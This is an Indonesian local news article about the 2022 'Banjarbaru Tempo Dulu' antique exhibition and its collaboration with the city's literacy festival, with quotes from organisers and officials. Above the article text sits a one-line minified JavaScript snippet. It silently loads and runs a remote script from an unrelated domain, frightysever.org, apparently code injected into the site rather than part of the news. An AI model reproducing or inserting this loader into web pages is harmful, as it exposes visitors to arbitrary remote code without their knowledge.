(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Nantikan Banjarbaru Tempo Dulu di Murdjani, dari Pameran Barang Antik hingga Festival Literasi!

KANALKALIMANTAN.COM, BANJARBARU – Event pameran barang antik bertajuk Banjarbaru Tempo Dulu akan digelar 22-30 Oktober 2022 mendatang di Lapangan Murdjani Kota Banjarbaru.

Banjarbaru Tempo Dulu menjadi event perdana di Kalimantan yang akan dimeriahkan berbagai komunitas barang-barang vintage. Mereka nantinya akan memamerkan barang antik milik mereka sambil berpakaian jadul.

Animo masyarakat Kalimantan yang tinggi akan koleksi barang-barang antik menjadi sisi lain dari penyelenggaraan event ini.

Event ini pun berkolaborsi dengan Festival Literasi Kota Banjarbaru tahun 2022 yang membawa pelajar dari 140 Sekolah Dasar hingga Sekolah Menengah Pertama se Kota Banjarbaru.

“Masing-masig 20 pelajar mewakili sekolahnya, dengan total 3.000 pelajar yang akan meramaikan pawai literasi dilanjutkan dengan flashmob yakni kita membaca bersama 10-15 menit. Itu lah yang mau kita angkat bahwa di Banjarbaru sendiri bisa dikatakan sebagai roll model di Kalsel khususnya di bidang literasi,” jelas Huda Nur, Kordinator Acara Panitia Festival Literasi 2022 Kota Banjarbaru.

Acara kolaborasi ini juga nantinya turut mendatangkan Duta Baca Indonesia yakni Golalagong yang akan datang ke Kota Banjarbaru untuk membersamai pelajar dalam event yang kemudian berlanjut dengan roadshow ke beberapa pesantren yang ada di Koa Banjarbaru.

Menanggapi hal itu, Kepala Dinas Pemuda, Olahraga, Kebudayaan dan Pariwisata (Disporabudpar) Kota Banjarbaru, A Yani Makie mengapresiasi kegiatan ini dan mendukung jalannya acara ini dengan mewajibkan seluruh peserta hingga penonton turut mengenakan pakaian jadul jika berkunjung.

“Kami mendukung dan mengapresiasi untuk pelaksanaan event Banjarbaru Tempo Dulu yang berkolaborasi dengan festival literasi dan ini sangat bagus konsep mengawinkan dua event tentutnya kita harus mendukung,” kata Kadis Porabudpar, Kota Banjarbaru, A Yani Makie.

“Dan kita berharap juga berharap penikmat maupun penonton juga dapat memakai pakaian tempo dulu untuk meramaikan,” sambungnya.

Lebih jauh, HE Benyamine, seorang Budayawan Banjarbaru mengatakan, Banjarbaru Tempo dulu secara tidak langsung bersangkut paut dengan festival literasi itu sendiri.

Dimana, sambungnya kemampuan literasi masyarakat dapat menjadikan arah untuk kembali melihat hal-hal yng sebenarnya terhubung dengan masalalu dengan masa sekarang.

“Mudah-mudahan event kolaborasi ini menberikan jalan kita para masyarakat agar dapat melihat kembali masa-masa jaman dulu yang juga bagian dari masa sekarang,” ujarnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell